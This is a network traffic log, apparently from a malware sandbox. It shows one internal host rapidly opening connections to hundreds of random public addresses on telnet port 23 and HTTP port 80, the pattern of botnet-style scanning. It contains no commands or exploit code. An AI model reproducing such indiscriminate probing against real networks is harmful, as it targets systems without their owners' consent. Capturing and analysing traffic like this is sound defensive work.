Jun 1, 2024 18:15:53.269586086 CEST	60452	80	192.168.2.23	58.199.54.70
Jun 1, 2024 18:15:53.269587994 CEST	50426	80	192.168.2.23	129.193.114.98
Jun 1, 2024 18:15:53.269619942 CEST	45126	80	192.168.2.23	25.87.20.30
Jun 1, 2024 18:15:53.269666910 CEST	80	54764	146.97.242.87	192.168.2.23
Jun 1, 2024 18:15:53.269701004 CEST	54764	80	192.168.2.23	146.97.242.87
Jun 1, 2024 18:15:53.269769907 CEST	80	38538	48.234.108.156	192.168.2.23
Jun 1, 2024 18:15:53.269805908 CEST	38538	80	192.168.2.23	48.234.108.156
Jun 1, 2024 18:15:53.269850969 CEST	80	55738	12.95.201.102	192.168.2.23
Jun 1, 2024 18:15:53.269891977 CEST	55738	80	192.168.2.23	12.95.201.102
Jun 1, 2024 18:15:53.269988060 CEST	80	34178	106.16.15.220	192.168.2.23
Jun 1, 2024 18:15:53.270020962 CEST	34178	80	192.168.2.23	106.16.15.220
Jun 1, 2024 18:15:53.270065069 CEST	80	48056	204.135.242.117	192.168.2.23
Jun 1, 2024 18:15:53.270101070 CEST	48056	80	192.168.2.23	204.135.242.117
Jun 1, 2024 18:15:53.270153999 CEST	80	39760	31.70.83.31	192.168.2.23
Jun 1, 2024 18:15:53.270199060 CEST	39760	80	192.168.2.23	31.70.83.31
Jun 1, 2024 18:15:53.270292997 CEST	80	38224	154.1.74.103	192.168.2.23
Jun 1, 2024 18:15:53.270330906 CEST	38224	80	192.168.2.23	154.1.74.103
Jun 1, 2024 18:15:53.270428896 CEST	80	35258	158.4.130.100	192.168.2.23
Jun 1, 2024 18:15:53.270473957 CEST	35258	80	192.168.2.23	158.4.130.100
Jun 1, 2024 18:15:53.270524979 CEST	80	49780	124.60.75.137	192.168.2.23
Jun 1, 2024 18:15:53.270564079 CEST	49780	80	192.168.2.23	124.60.75.137
Jun 1, 2024 18:15:53.270595074 CEST	80	50552	159.209.163.86	192.168.2.23
Jun 1, 2024 18:15:53.270627975 CEST	50552	80	192.168.2.23	159.209.163.86
Jun 1, 2024 18:15:53.270744085 CEST	80	54870	197.114.181.205	192.168.2.23
Jun 1, 2024 18:15:53.270772934 CEST	54870	80	192.168.2.23	197.114.181.205
Jun 1, 2024 18:15:53.270787001 CEST	80	41092	136.107.130.201	192.168.2.23
Jun 1, 2024 18:15:53.270816088 CEST	41092	80	192.168.2.23	136.107.130.201
Jun 1, 2024 18:15:53.270865917 CEST	80	51180	50.8.69.255	192.168.2.23
Jun 1, 2024 18:15:53.270893097 CEST	51180	80	192.168.2.23	50.8.69.255
Jun 1, 2024 18:15:53.270965099 CEST	80	57118	162.133.179.162	192.168.2.23
Jun 1, 2024 18:15:53.271059036 CEST	80	41304	113.32.208.233	192.168.2.23
Jun 1, 2024 18:15:53.271071911 CEST	57118	80	192.168.2.23	162.133.179.162
Jun 1, 2024 18:15:53.271099091 CEST	41304	80	192.168.2.23	113.32.208.233
Jun 1, 2024 18:15:53.271210909 CEST	80	33544	155.78.6.227	192.168.2.23
Jun 1, 2024 18:15:53.271240950 CEST	33544	80	192.168.2.23	155.78.6.227
Jun 1, 2024 18:15:53.271253109 CEST	80	34212	112.152.48.8	192.168.2.23
Jun 1, 2024 18:15:53.271285057 CEST	34212	80	192.168.2.23	112.152.48.8
Jun 1, 2024 18:15:53.271393061 CEST	80	45874	144.192.66.230	192.168.2.23
Jun 1, 2024 18:15:53.271425009 CEST	45874	80	192.168.2.23	144.192.66.230
Jun 1, 2024 18:15:53.271509886 CEST	80	55550	51.180.72.227	192.168.2.23
Jun 1, 2024 18:15:53.271543980 CEST	55550	80	192.168.2.23	51.180.72.227
Jun 1, 2024 18:15:53.271604061 CEST	80	43284	160.171.210.51	192.168.2.23
Jun 1, 2024 18:15:53.271635056 CEST	43284	80	192.168.2.23	160.171.210.51
Jun 1, 2024 18:15:53.271677017 CEST	80	52342	198.24.255.213	192.168.2.23
Jun 1, 2024 18:15:53.271711111 CEST	52342	80	192.168.2.23	198.24.255.213
Jun 1, 2024 18:15:53.271763086 CEST	80	43260	173.201.55.115	192.168.2.23
Jun 1, 2024 18:15:53.271790028 CEST	43260	80	192.168.2.23	173.201.55.115
Jun 1, 2024 18:15:53.271851063 CEST	80	33134	118.131.29.171	192.168.2.23
Jun 1, 2024 18:15:53.271892071 CEST	33134	80	192.168.2.23	118.131.29.171
Jun 1, 2024 18:15:53.271944046 CEST	80	38688	8.194.32.207	192.168.2.23
Jun 1, 2024 18:15:53.271977901 CEST	38688	80	192.168.2.23	8.194.32.207
Jun 1, 2024 18:15:53.272026062 CEST	80	42398	198.139.79.120	192.168.2.23
Jun 1, 2024 18:15:53.272057056 CEST	42398	80	192.168.2.23	198.139.79.120
Jun 1, 2024 18:15:53.272109985 CEST	80	49098	191.185.132.251	192.168.2.23
Jun 1, 2024 18:15:53.272141933 CEST	49098	80	192.168.2.23	191.185.132.251
Jun 1, 2024 18:15:53.272187948 CEST	80	55042	173.142.129.181	192.168.2.23
Jun 1, 2024 18:15:53.272222996 CEST	55042	80	192.168.2.23	173.142.129.181
Jun 1, 2024 18:15:53.272274971 CEST	80	45600	50.235.115.106	192.168.2.23
Jun 1, 2024 18:15:53.272306919 CEST	45600	80	192.168.2.23	50.235.115.106
Jun 1, 2024 18:15:53.273297071 CEST	23	48384	152.160.238.59	192.168.2.23
Jun 1, 2024 18:15:53.273324966 CEST	80	53220	80.252.121.45	192.168.2.23
Jun 1, 2024 18:15:53.273334980 CEST	80	40888	60.55.180.73	192.168.2.23
Jun 1, 2024 18:15:53.273344994 CEST	23	43030	4.11.209.54	192.168.2.23
Jun 1, 2024 18:15:53.273354053 CEST	23	49132	153.62.202.152	192.168.2.23
Jun 1, 2024 18:15:53.273356915 CEST	53220	80	192.168.2.23	80.252.121.45
Jun 1, 2024 18:15:53.273360014 CEST	40888	80	192.168.2.23	60.55.180.73
Jun 1, 2024 18:15:53.273364067 CEST	23	49562	153.62.202.152	192.168.2.23
Jun 1, 2024 18:15:53.273381948 CEST	80	34826	123.28.179.254	192.168.2.23
Jun 1, 2024 18:15:53.273391962 CEST	23	53798	193.15.169.50	192.168.2.23
Jun 1, 2024 18:15:53.273401022 CEST	23	59688	1.241.59.50	192.168.2.23
Jun 1, 2024 18:15:53.273401022 CEST	49562	23	192.168.2.23	153.62.202.152
Jun 1, 2024 18:15:53.273408890 CEST	80	51156	87.130.72.182	192.168.2.23
Jun 1, 2024 18:15:53.273411036 CEST	34826	80	192.168.2.23	123.28.179.254
Jun 1, 2024 18:15:53.273418903 CEST	23	54228	193.15.169.50	192.168.2.23
Jun 1, 2024 18:15:53.273427010 CEST	23	54442	121.212.180.108	192.168.2.23
Jun 1, 2024 18:15:53.273436069 CEST	51156	80	192.168.2.23	87.130.72.182
Jun 1, 2024 18:15:53.273442984 CEST	54228	23	192.168.2.23	193.15.169.50
Jun 1, 2024 18:15:53.273444891 CEST	80	57628	24.4.140.180	192.168.2.23
Jun 1, 2024 18:15:53.273454905 CEST	23	54870	121.212.180.108	192.168.2.23
Jun 1, 2024 18:15:53.273463964 CEST	23	39496	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.273468018 CEST	57628	80	192.168.2.23	24.4.140.180
Jun 1, 2024 18:15:53.273473978 CEST	80	57504	37.47.52.166	192.168.2.23
Jun 1, 2024 18:15:53.273483038 CEST	54870	23	192.168.2.23	121.212.180.108
Jun 1, 2024 18:15:53.273483038 CEST	23	39924	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.273490906 CEST	23	41066	192.57.0.134	192.168.2.23
Jun 1, 2024 18:15:53.273499966 CEST	23	41488	192.57.0.134	192.168.2.23
Jun 1, 2024 18:15:53.273503065 CEST	39924	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.273509026 CEST	23	46642	169.237.222.240	192.168.2.23
Jun 1, 2024 18:15:53.273510933 CEST	57504	80	192.168.2.23	37.47.52.166
Jun 1, 2024 18:15:53.273519039 CEST	23	50324	74.190.54.123	192.168.2.23
Jun 1, 2024 18:15:53.273521900 CEST	41488	23	192.168.2.23	192.57.0.134
Jun 1, 2024 18:15:53.273528099 CEST	23	44374	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.273546934 CEST	23	44796	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.273555994 CEST	23	50746	74.190.54.123	192.168.2.23
Jun 1, 2024 18:15:53.273561001 CEST	46642	23	192.168.2.23	169.237.222.240
Jun 1, 2024 18:15:53.273574114 CEST	23	36422	99.197.85.43	192.168.2.23
Jun 1, 2024 18:15:53.273574114 CEST	44796	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.273582935 CEST	23	58056	150.10.234.232	192.168.2.23
Jun 1, 2024 18:15:53.273587942 CEST	47060	23	192.168.2.23	169.237.222.240
Jun 1, 2024 18:15:53.273591995 CEST	80	48040	161.166.48.249	192.168.2.23
Jun 1, 2024 18:15:53.273601055 CEST	23	58478	150.10.234.232	192.168.2.23
Jun 1, 2024 18:15:53.273600101 CEST	50746	23	192.168.2.23	74.190.54.123
Jun 1, 2024 18:15:53.273612022 CEST	80	43882	121.59.20.215	192.168.2.23
Jun 1, 2024 18:15:53.273617029 CEST	48040	80	192.168.2.23	161.166.48.249
Jun 1, 2024 18:15:53.273621082 CEST	80	60952	18.69.98.66	192.168.2.23
Jun 1, 2024 18:15:53.273638010 CEST	58478	23	192.168.2.23	150.10.234.232
Jun 1, 2024 18:15:53.273648024 CEST	60952	80	192.168.2.23	18.69.98.66
Jun 1, 2024 18:15:53.273649931 CEST	43882	80	192.168.2.23	121.59.20.215
Jun 1, 2024 18:15:53.274044037 CEST	23	50080	212.41.104.134	192.168.2.23
Jun 1, 2024 18:15:53.274076939 CEST	23	50502	212.41.104.134	192.168.2.23
Jun 1, 2024 18:15:53.274085999 CEST	80	41018	170.90.134.85	192.168.2.23
Jun 1, 2024 18:15:53.274095058 CEST	23	51674	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.274108887 CEST	23	38532	44.119.26.186	192.168.2.23
Jun 1, 2024 18:15:53.274108887 CEST	50502	23	192.168.2.23	212.41.104.134
Jun 1, 2024 18:15:53.274118900 CEST	41018	80	192.168.2.23	170.90.134.85
Jun 1, 2024 18:15:53.274135113 CEST	23	38110	44.119.26.186	192.168.2.23
Jun 1, 2024 18:15:53.274136066 CEST	38532	23	192.168.2.23	44.119.26.186
Jun 1, 2024 18:15:53.274144888 CEST	80	56598	44.214.37.113	192.168.2.23
Jun 1, 2024 18:15:53.274152994 CEST	23	52096	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.274163008 CEST	23	58098	212.78.208.187	192.168.2.23
Jun 1, 2024 18:15:53.274168968 CEST	56598	80	192.168.2.23	44.214.37.113
Jun 1, 2024 18:15:53.274171114 CEST	80	45382	98.220.77.102	192.168.2.23
Jun 1, 2024 18:15:53.274179935 CEST	23	58518	212.78.208.187	192.168.2.23
Jun 1, 2024 18:15:53.274182081 CEST	52096	23	192.168.2.23	85.65.84.38
Jun 1, 2024 18:15:53.274188995 CEST	23	57682	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.274199963 CEST	45382	80	192.168.2.23	98.220.77.102
Jun 1, 2024 18:15:53.274204016 CEST	58518	23	192.168.2.23	212.78.208.187
Jun 1, 2024 18:15:53.274207115 CEST	23	58102	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.274215937 CEST	23	34970	207.189.117.87	192.168.2.23
Jun 1, 2024 18:15:53.274225950 CEST	23	35390	207.189.117.87	192.168.2.23
Jun 1, 2024 18:15:53.274235010 CEST	23	48280	70.110.18.41	192.168.2.23
Jun 1, 2024 18:15:53.274235010 CEST	58102	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.274245977 CEST	80	45044	188.248.176.49	192.168.2.23
Jun 1, 2024 18:15:53.274255037 CEST	35390	23	192.168.2.23	207.189.117.87
Jun 1, 2024 18:15:53.274255037 CEST	23	34444	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.274265051 CEST	23	34862	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.274274111 CEST	80	43608	112.217.71.237	192.168.2.23
Jun 1, 2024 18:15:53.274279118 CEST	45044	80	192.168.2.23	188.248.176.49
Jun 1, 2024 18:15:53.274291039 CEST	80	47972	31.117.7.12	192.168.2.23
Jun 1, 2024 18:15:53.274297953 CEST	34862	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.274297953 CEST	43608	80	192.168.2.23	112.217.71.237
Jun 1, 2024 18:15:53.274301052 CEST	80	36674	77.156.147.3	192.168.2.23
Jun 1, 2024 18:15:53.274310112 CEST	80	44994	5.69.223.73	192.168.2.23
Jun 1, 2024 18:15:53.274317026 CEST	47972	80	192.168.2.23	31.117.7.12
Jun 1, 2024 18:15:53.274329901 CEST	36674	80	192.168.2.23	77.156.147.3
Jun 1, 2024 18:15:53.274331093 CEST	44994	80	192.168.2.23	5.69.223.73
Jun 1, 2024 18:15:53.274616003 CEST	23	33144	119.157.206.97	192.168.2.23
Jun 1, 2024 18:15:53.274667978 CEST	23	37692	2.165.122.239	192.168.2.23
Jun 1, 2024 18:15:53.274673939 CEST	33144	23	192.168.2.23	119.157.206.97
Jun 1, 2024 18:15:53.274684906 CEST	33296	23	192.168.2.23	119.157.206.97
Jun 1, 2024 18:15:53.274687052 CEST	23	49246	111.80.31.23	192.168.2.23
Jun 1, 2024 18:15:53.274699926 CEST	23	33310	164.144.164.22	192.168.2.23
Jun 1, 2024 18:15:53.274718046 CEST	23	41278	204.46.89.189	192.168.2.23
Jun 1, 2024 18:15:53.274728060 CEST	37692	23	192.168.2.23	2.165.122.239
Jun 1, 2024 18:15:53.274741888 CEST	37844	23	192.168.2.23	2.165.122.239
Jun 1, 2024 18:15:53.274770975 CEST	49246	23	192.168.2.23	111.80.31.23
Jun 1, 2024 18:15:53.274785995 CEST	33310	23	192.168.2.23	164.144.164.22
Jun 1, 2024 18:15:53.274791002 CEST	49396	23	192.168.2.23	111.80.31.23
Jun 1, 2024 18:15:53.274801016 CEST	33460	23	192.168.2.23	164.144.164.22
Jun 1, 2024 18:15:53.274812937 CEST	41278	23	192.168.2.23	204.46.89.189
Jun 1, 2024 18:15:53.274831057 CEST	41426	23	192.168.2.23	204.46.89.189
Jun 1, 2024 18:15:53.275016069 CEST	23	58052	145.247.231.251	192.168.2.23
Jun 1, 2024 18:15:53.275065899 CEST	58052	23	192.168.2.23	145.247.231.251
Jun 1, 2024 18:15:53.275079012 CEST	58200	23	192.168.2.23	145.247.231.251
Jun 1, 2024 18:15:53.275082111 CEST	23	33050	35.131.211.123	192.168.2.23
Jun 1, 2024 18:15:53.275094032 CEST	23	36326	135.113.1.250	192.168.2.23
Jun 1, 2024 18:15:53.275130987 CEST	33050	23	192.168.2.23	35.131.211.123
Jun 1, 2024 18:15:53.275155067 CEST	33198	23	192.168.2.23	35.131.211.123
Jun 1, 2024 18:15:53.275187016 CEST	36474	23	192.168.2.23	135.113.1.250
Jun 1, 2024 18:15:53.275201082 CEST	36326	23	192.168.2.23	135.113.1.250
Jun 1, 2024 18:15:53.275273085 CEST	23	39992	176.167.75.84	192.168.2.23
Jun 1, 2024 18:15:53.275305986 CEST	23	60488	88.91.246.130	192.168.2.23
Jun 1, 2024 18:15:53.275315046 CEST	23	51706	20.102.146.245	192.168.2.23
Jun 1, 2024 18:15:53.275353909 CEST	23	57094	91.245.155.191	192.168.2.23
Jun 1, 2024 18:15:53.275355101 CEST	40140	23	192.168.2.23	176.167.75.84
Jun 1, 2024 18:15:53.275367022 CEST	39992	23	192.168.2.23	176.167.75.84
Jun 1, 2024 18:15:53.275379896 CEST	60488	23	192.168.2.23	88.91.246.130
Jun 1, 2024 18:15:53.275407076 CEST	51706	23	192.168.2.23	20.102.146.245
Jun 1, 2024 18:15:53.275422096 CEST	51856	23	192.168.2.23	20.102.146.245
Jun 1, 2024 18:15:53.275446892 CEST	23	48978	108.155.26.174	192.168.2.23
Jun 1, 2024 18:15:53.275454998 CEST	60634	23	192.168.2.23	88.91.246.130
Jun 1, 2024 18:15:53.275454998 CEST	57094	23	192.168.2.23	91.245.155.191
Jun 1, 2024 18:15:53.275474072 CEST	57242	23	192.168.2.23	91.245.155.191
Jun 1, 2024 18:15:53.275504112 CEST	48978	23	192.168.2.23	108.155.26.174
Jun 1, 2024 18:15:53.275518894 CEST	49124	23	192.168.2.23	108.155.26.174
Jun 1, 2024 18:15:53.275593042 CEST	23	54524	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.275656939 CEST	54524	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.275665998 CEST	54670	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.275743961 CEST	23	45822	82.49.219.9	192.168.2.23
Jun 1, 2024 18:15:53.275795937 CEST	45822	23	192.168.2.23	82.49.219.9
Jun 1, 2024 18:15:53.275815964 CEST	45966	23	192.168.2.23	82.49.219.9
Jun 1, 2024 18:15:53.275966883 CEST	23	52790	126.48.142.44	192.168.2.23
Jun 1, 2024 18:15:53.276029110 CEST	52790	23	192.168.2.23	126.48.142.44
Jun 1, 2024 18:15:53.276037931 CEST	52934	23	192.168.2.23	126.48.142.44
Jun 1, 2024 18:15:53.276053905 CEST	23	50928	150.219.141.42	192.168.2.23
Jun 1, 2024 18:15:53.276110888 CEST	50928	23	192.168.2.23	150.219.141.42
Jun 1, 2024 18:15:53.276130915 CEST	51070	23	192.168.2.23	150.219.141.42
Jun 1, 2024 18:15:53.276179075 CEST	23	36882	65.204.172.161	192.168.2.23
Jun 1, 2024 18:15:53.276235104 CEST	36882	23	192.168.2.23	65.204.172.161
Jun 1, 2024 18:15:53.276251078 CEST	37022	23	192.168.2.23	65.204.172.161
Jun 1, 2024 18:15:53.276433945 CEST	23	37552	41.66.20.111	192.168.2.23
Jun 1, 2024 18:15:53.276500940 CEST	37692	23	192.168.2.23	41.66.20.111
Jun 1, 2024 18:15:53.276501894 CEST	37552	23	192.168.2.23	41.66.20.111
Jun 1, 2024 18:15:53.276510954 CEST	23	33800	42.82.24.91	192.168.2.23
Jun 1, 2024 18:15:53.276566982 CEST	33800	23	192.168.2.23	42.82.24.91
Jun 1, 2024 18:15:53.276587009 CEST	33940	23	192.168.2.23	42.82.24.91
Jun 1, 2024 18:15:53.276637077 CEST	23	42400	61.189.238.125	192.168.2.23
Jun 1, 2024 18:15:53.276699066 CEST	42400	23	192.168.2.23	61.189.238.125
Jun 1, 2024 18:15:53.276709080 CEST	42540	23	192.168.2.23	61.189.238.125
Jun 1, 2024 18:15:53.276729107 CEST	23	51848	85.63.105.242	192.168.2.23
Jun 1, 2024 18:15:53.276781082 CEST	51848	23	192.168.2.23	85.63.105.242
Jun 1, 2024 18:15:53.276797056 CEST	51988	23	192.168.2.23	85.63.105.242
Jun 1, 2024 18:15:53.276868105 CEST	23	55002	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.276932001 CEST	55002	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.276937962 CEST	55142	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.276983976 CEST	23	43336	119.20.37.113	192.168.2.23
Jun 1, 2024 18:15:53.277055025 CEST	43476	23	192.168.2.23	119.20.37.113
Jun 1, 2024 18:15:53.277061939 CEST	43336	23	192.168.2.23	119.20.37.113
Jun 1, 2024 18:15:53.277108908 CEST	23	54078	71.141.166.11	192.168.2.23
Jun 1, 2024 18:15:53.277158976 CEST	54078	23	192.168.2.23	71.141.166.11
Jun 1, 2024 18:15:53.277173996 CEST	54218	23	192.168.2.23	71.141.166.11
Jun 1, 2024 18:15:53.277185917 CEST	23	60184	126.83.226.0	192.168.2.23
Jun 1, 2024 18:15:53.277247906 CEST	60184	23	192.168.2.23	126.83.226.0
Jun 1, 2024 18:15:53.277257919 CEST	60324	23	192.168.2.23	126.83.226.0
Jun 1, 2024 18:15:53.277391911 CEST	23	40294	43.50.166.227	192.168.2.23
Jun 1, 2024 18:15:53.277451038 CEST	40294	23	192.168.2.23	43.50.166.227
Jun 1, 2024 18:15:53.277451038 CEST	23	60816	57.1.75.18	192.168.2.23
Jun 1, 2024 18:15:53.277467966 CEST	40430	23	192.168.2.23	43.50.166.227
Jun 1, 2024 18:15:53.277507067 CEST	60816	23	192.168.2.23	57.1.75.18
Jun 1, 2024 18:15:53.277527094 CEST	60952	23	192.168.2.23	57.1.75.18
Jun 1, 2024 18:15:53.277543068 CEST	23	43294	211.71.207.56	192.168.2.23
Jun 1, 2024 18:15:53.277604103 CEST	43294	23	192.168.2.23	211.71.207.56
Jun 1, 2024 18:15:53.277616024 CEST	43430	23	192.168.2.23	211.71.207.56
Jun 1, 2024 18:15:53.277663946 CEST	23	54004	148.117.169.218	192.168.2.23
Jun 1, 2024 18:15:53.277714968 CEST	54004	23	192.168.2.23	148.117.169.218
Jun 1, 2024 18:15:53.277787924 CEST	54138	23	192.168.2.23	148.117.169.218
Jun 1, 2024 18:15:53.277887106 CEST	23	35436	60.100.41.110	192.168.2.23
Jun 1, 2024 18:15:53.277942896 CEST	35436	23	192.168.2.23	60.100.41.110
Jun 1, 2024 18:15:53.277954102 CEST	35570	23	192.168.2.23	60.100.41.110
Jun 1, 2024 18:15:53.278135061 CEST	23	45402	197.144.199.60	192.168.2.23
Jun 1, 2024 18:15:53.278193951 CEST	45402	23	192.168.2.23	197.144.199.60
Jun 1, 2024 18:15:53.278213024 CEST	45536	23	192.168.2.23	197.144.199.60
Jun 1, 2024 18:15:53.278223991 CEST	23	59744	210.154.194.130	192.168.2.23
Jun 1, 2024 18:15:53.278275967 CEST	59744	23	192.168.2.23	210.154.194.130
Jun 1, 2024 18:15:53.278285980 CEST	59878	23	192.168.2.23	210.154.194.130
Jun 1, 2024 18:15:53.278336048 CEST	23	59866	159.100.13.109	192.168.2.23
Jun 1, 2024 18:15:53.278386116 CEST	59866	23	192.168.2.23	159.100.13.109
Jun 1, 2024 18:15:53.278397083 CEST	59998	23	192.168.2.23	159.100.13.109
Jun 1, 2024 18:15:53.278448105 CEST	23	35428	2.132.81.74	192.168.2.23
Jun 1, 2024 18:15:53.278501034 CEST	35428	23	192.168.2.23	2.132.81.74
Jun 1, 2024 18:15:53.278515100 CEST	35560	23	192.168.2.23	2.132.81.74
Jun 1, 2024 18:15:53.278595924 CEST	23	58032	18.19.48.185	192.168.2.23
Jun 1, 2024 18:15:53.278659105 CEST	58032	23	192.168.2.23	18.19.48.185
Jun 1, 2024 18:15:53.278671026 CEST	58164	23	192.168.2.23	18.19.48.185
Jun 1, 2024 18:15:53.279015064 CEST	23	34646	198.118.127.110	192.168.2.23
Jun 1, 2024 18:15:53.279026031 CEST	23	40752	1.12.235.252	192.168.2.23
Jun 1, 2024 18:15:53.279036045 CEST	23	46642	169.237.222.240	192.168.2.23
Jun 1, 2024 18:15:53.279053926 CEST	23	47060	169.237.222.240	192.168.2.23
Jun 1, 2024 18:15:53.279062986 CEST	23	52536	35.17.185.149	192.168.2.23
Jun 1, 2024 18:15:53.279082060 CEST	23	52176	186.185.212.232	192.168.2.23
Jun 1, 2024 18:15:53.279083967 CEST	47060	23	192.168.2.23	169.237.222.240
Jun 1, 2024 18:15:53.279087067 CEST	34646	23	192.168.2.23	198.118.127.110
Jun 1, 2024 18:15:53.279097080 CEST	34778	23	192.168.2.23	198.118.127.110
Jun 1, 2024 18:15:53.279099941 CEST	40752	23	192.168.2.23	1.12.235.252
Jun 1, 2024 18:15:53.279119968 CEST	40884	23	192.168.2.23	1.12.235.252
Jun 1, 2024 18:15:53.279146910 CEST	52536	23	192.168.2.23	35.17.185.149
Jun 1, 2024 18:15:53.279154062 CEST	23	47696	80.181.152.249	192.168.2.23
Jun 1, 2024 18:15:53.279159069 CEST	52668	23	192.168.2.23	35.17.185.149
Jun 1, 2024 18:15:53.279182911 CEST	52176	23	192.168.2.23	186.185.212.232
Jun 1, 2024 18:15:53.279186010 CEST	52306	23	192.168.2.23	186.185.212.232
Jun 1, 2024 18:15:53.279222965 CEST	47696	23	192.168.2.23	80.181.152.249
Jun 1, 2024 18:15:53.279252052 CEST	47830	23	192.168.2.23	80.181.152.249
Jun 1, 2024 18:15:53.279495001 CEST	23	42704	67.220.156.180	192.168.2.23
Jun 1, 2024 18:15:53.279521942 CEST	23	44078	67.109.44.47	192.168.2.23
Jun 1, 2024 18:15:53.279531002 CEST	23	58610	75.205.15.224	192.168.2.23
Jun 1, 2024 18:15:53.279541969 CEST	23	33144	119.157.206.97	192.168.2.23
Jun 1, 2024 18:15:53.279572964 CEST	42704	23	192.168.2.23	67.220.156.180
Jun 1, 2024 18:15:53.279588938 CEST	23	54508	77.239.54.162	192.168.2.23
Jun 1, 2024 18:15:53.279589891 CEST	42836	23	192.168.2.23	67.220.156.180
Jun 1, 2024 18:15:53.279618979 CEST	44078	23	192.168.2.23	67.109.44.47
Jun 1, 2024 18:15:53.279633999 CEST	44210	23	192.168.2.23	67.109.44.47
Jun 1, 2024 18:15:53.279637098 CEST	58610	23	192.168.2.23	75.205.15.224
Jun 1, 2024 18:15:53.279654026 CEST	58742	23	192.168.2.23	75.205.15.224
Jun 1, 2024 18:15:53.279680967 CEST	54508	23	192.168.2.23	77.239.54.162
Jun 1, 2024 18:15:53.279704094 CEST	54640	23	192.168.2.23	77.239.54.162
Jun 1, 2024 18:15:53.279764891 CEST	23	37692	2.165.122.239	192.168.2.23
Jun 1, 2024 18:15:53.279776096 CEST	23	37844	2.165.122.239	192.168.2.23
Jun 1, 2024 18:15:53.279793978 CEST	23	49246	111.80.31.23	192.168.2.23
Jun 1, 2024 18:15:53.279803038 CEST	23	33310	164.144.164.22	192.168.2.23
Jun 1, 2024 18:15:53.279808998 CEST	37844	23	192.168.2.23	2.165.122.239
Jun 1, 2024 18:15:53.279813051 CEST	23	49562	153.62.202.152	192.168.2.23
Jun 1, 2024 18:15:53.279822111 CEST	23	49396	111.80.31.23	192.168.2.23
Jun 1, 2024 18:15:53.279836893 CEST	23	33460	164.144.164.22	192.168.2.23
Jun 1, 2024 18:15:53.279845953 CEST	23	41278	204.46.89.189	192.168.2.23
Jun 1, 2024 18:15:53.279858112 CEST	49562	23	192.168.2.23	153.62.202.152
Jun 1, 2024 18:15:53.279860973 CEST	33460	23	192.168.2.23	164.144.164.22
Jun 1, 2024 18:15:53.279861927 CEST	49396	23	192.168.2.23	111.80.31.23
Jun 1, 2024 18:15:53.279863119 CEST	23	41426	204.46.89.189	192.168.2.23
Jun 1, 2024 18:15:53.279874086 CEST	23	54228	193.15.169.50	192.168.2.23
Jun 1, 2024 18:15:53.279880047 CEST	49690	23	192.168.2.23	153.62.202.152
Jun 1, 2024 18:15:53.279906988 CEST	41426	23	192.168.2.23	204.46.89.189
Jun 1, 2024 18:15:53.279911995 CEST	23	54870	121.212.180.108	192.168.2.23
Jun 1, 2024 18:15:53.279925108 CEST	54228	23	192.168.2.23	193.15.169.50
Jun 1, 2024 18:15:53.279938936 CEST	23	58052	145.247.231.251	192.168.2.23
Jun 1, 2024 18:15:53.279944897 CEST	54356	23	192.168.2.23	193.15.169.50
Jun 1, 2024 18:15:53.279948950 CEST	23	33050	35.131.211.123	192.168.2.23
Jun 1, 2024 18:15:53.279964924 CEST	54870	23	192.168.2.23	121.212.180.108
Jun 1, 2024 18:15:53.279989004 CEST	54996	23	192.168.2.23	121.212.180.108
Jun 1, 2024 18:15:53.280046940 CEST	23	39924	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.280056953 CEST	23	33198	35.131.211.123	192.168.2.23
Jun 1, 2024 18:15:53.280066967 CEST	23	36474	135.113.1.250	192.168.2.23
Jun 1, 2024 18:15:53.280076981 CEST	23	36326	135.113.1.250	192.168.2.23
Jun 1, 2024 18:15:53.280097008 CEST	36474	23	192.168.2.23	135.113.1.250
Jun 1, 2024 18:15:53.280100107 CEST	23	41488	192.57.0.134	192.168.2.23
Jun 1, 2024 18:15:53.280102015 CEST	33198	23	192.168.2.23	35.131.211.123
Jun 1, 2024 18:15:53.280128002 CEST	23	40140	176.167.75.84	192.168.2.23
Jun 1, 2024 18:15:53.280137062 CEST	39924	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.280148029 CEST	40050	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.280168056 CEST	40140	23	192.168.2.23	176.167.75.84
Jun 1, 2024 18:15:53.280174017 CEST	41488	23	192.168.2.23	192.57.0.134
Jun 1, 2024 18:15:53.280263901 CEST	23	39992	176.167.75.84	192.168.2.23
Jun 1, 2024 18:15:53.280277014 CEST	41614	23	192.168.2.23	192.57.0.134
Jun 1, 2024 18:15:53.280292988 CEST	23	44796	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.280320883 CEST	23	60488	88.91.246.130	192.168.2.23
Jun 1, 2024 18:15:53.280350924 CEST	23	51706	20.102.146.245	192.168.2.23
Jun 1, 2024 18:15:53.280364037 CEST	44920	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.280364990 CEST	44796	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.280394077 CEST	23	50746	74.190.54.123	192.168.2.23
Jun 1, 2024 18:15:53.280404091 CEST	23	51856	20.102.146.245	192.168.2.23
Jun 1, 2024 18:15:53.280411959 CEST	23	58478	150.10.234.232	192.168.2.23
Jun 1, 2024 18:15:53.280435085 CEST	51856	23	192.168.2.23	20.102.146.245
Jun 1, 2024 18:15:53.280467987 CEST	50746	23	192.168.2.23	74.190.54.123
Jun 1, 2024 18:15:53.280503988 CEST	58602	23	192.168.2.23	150.10.234.232
